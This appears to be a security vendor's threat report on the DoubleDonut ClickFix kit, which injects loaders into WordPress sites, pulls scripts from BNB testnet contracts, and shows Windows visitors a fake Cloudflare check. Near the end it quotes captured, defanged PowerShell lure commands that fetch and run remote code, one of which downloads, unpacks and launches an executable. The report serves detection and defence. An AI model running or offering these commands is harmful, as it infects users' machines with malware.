Web threats / ClickFix

DoubleDonut ClickFix kit

DoubleDonut is a ClickFix kit that plants a loader on WordPress sites and reads its next script from a BNB Smart Chain testnet contract. We have matched it on 2,263 sites since 10 August.

DoubleDonut in numbers

Since 10 August, the first DoubleDonut match in our records, counted on 12 November 2026. How we count.

Sites with DoubleDonut code2,263
Sites with a match in the last 30 days1,309
New sites in October613
Still serving it when recaptured at least 25 days later778 of 1,007 sites (77%)
Sites running WordPress (captured since 25 September)90%

Rapid7 documented the campaign

Rapid7 published this campaign as "ClickFix DoubleDonut". The code injected into websites is identical to the code in their report, down to the window.__performance_optimizer_v6 guard and the same crawler filter.

How it gets onto a site

We see the same loader placed several ways. One is a plugin-style loader that posts to the site's own admin-ajax.php with the action bsc_sl_get_script. The site's server makes the blockchain call and hands the script back, so the visitor's browser only ever talks to the site.

Other sites carry a small injected loader that decodes a list of endpoints and requests /jsrepo?rnd= or /teamrepo?rnd= from each until one answers. A third version adds script tags for mpackage.js and smpackage.js, loaded from lookalike CDN hosts named like cdn.<word>delivr.com. We have matched the mpackage.js tag on 464 sites since 1 September 2026. Caching plugins and CDNs then keep copies of the injected scripts, so the code can outlive the first clean-up.

Each build is packed with its own small JavaScript virtual machine, with a fresh alphabet and type tags every time. DoubleDonut's contract holds the whole next stage. The loader sends eth_call with the selector 0x6d4ce63c to a contract on BNB Smart Chain testnet (chain 97), decodes the returned string from Base64 and runs it.

Windows visitors only

The loaders skip crawlers and stay off WordPress system paths such as /wp-admin and /wp-json. The second stage exits unless the browser reports Windows. An owner who checks from the dashboard, or from a Mac, will see a normal site.

The fake Cloudflare check

Windows visitors get a full-screen Cloudflare page with the site's domain and a Ray ID, drawn inside a shadow root so the site's own styles cannot touch it. Every build mounts the same page with the same stylesheet.

The steps are Win+X, then I to open Terminal, then Ctrl+V. The lure picks one of 31 sets of instructions from the browser's language, so German visitors are told to press Strg instead of Ctrl. The command itself is fetched for each visitor and copied to the clipboard from a hidden text box.

When a site carries two different builds of the lure, each one keeps re-adding its own overlay and the page freezes. For some owners, a page that locks up is the first visible sign.

What we see

MonthNew sites
September1,078
October613
November so far201

Of the 1,007 sites recaptured at least 25 days after their first match, 778 were still serving DoubleDonut (77%). 90% of the sites captured since 25 September run WordPress, and 56% of those run WordPress 7.1.

Checking a site

Look at the public page from a Windows browser you do not use to log in. Then check for:

  • a script tag loading mpackage.js or smpackage.js from a host you do not recognise
  • __performance_optimizer_v6 in the page source or in a theme or plugin file
  • an admin-ajax.php action called bsc_sl_get_script, or a bsc-sl-loader script you did not install
  • elements named __cf_challenge_host__ or __app_root_overlay__ in the rendered page
  • a "Cloudflare" check that asks you to press Win+X, I and Ctrl+V

Clear the site's cache and CDN after removing the code, or the old copies keep serving it.

Contracts we read

We read 2 DoubleDonut contracts every day.

ChainContractCurrent destinationsLast changed
BNB Smart Chain testnet0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437tdssecure[.]beer
BNB Smart Chain testnet0xFB448D465841C63F3bC433be61Eb692b813D469dtdssecure[.]beer

The EtherHiding contract tracker keeps the full destination history.

Hosts its commands download from

DoubleDonut lure commands we captured download from 5 hosts.

HostSitesLast seenLatest command
checkingrayid[.]com163
Command
irm 'hxxps://checkingrayid[.]com/my?sid=1794470831243-y87gsbdc'|iex

URL hxxps://checkingrayid[.]com/my?sid=1794470831243-y87gsbdc

First seen 6 November 2026, 163 URLs on this host.

cloudelivrenterprise[.]com59
Command
iex(iwr hxxps://cloudelivrenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)

URL hxxps://cloudelivrenterprise[.]com//?sid=REPLACE_ID

First seen 29 September 2026, 1 URL on this host.

clouddelivry[.]com20
Command
iex(iwr hxxps://clouddelivry[.]com/?sid=REPLACE_ID)

URL hxxps://clouddelivry[.]com/?sid=REPLACE_ID

First seen 16 October 2026, 7 URLs on this host.

cdn[.]kjhg[.]shop2
Command
$t=$env:APPDATA+[char]92+"g";$z=$t+[char]92+"g[.]zip";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z "hxxps://cdn[.]kjhg[.]shop/seo/inst.php";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter "Snginstar.exe"|Select-Object -First 1;if($e){$w=[wmiclass]"Win32_Process";$w.Create($e.FullName)|Out-Null};exit

URL hxxps://cdn[.]kjhg[.]shop/seo/inst.php

First seen 6 October 2026, 1 URL on this host.

cloudeliveryenterprise[.]com1
Command
iex(iwr hxxps://cloudeliveryenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)

URL hxxps://cloudeliveryenterprise[.]com//?sid=REPLACE_ID

First seen 7 September 2026, 1 URL on this host.

The ClickFix command tracker lists every host.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.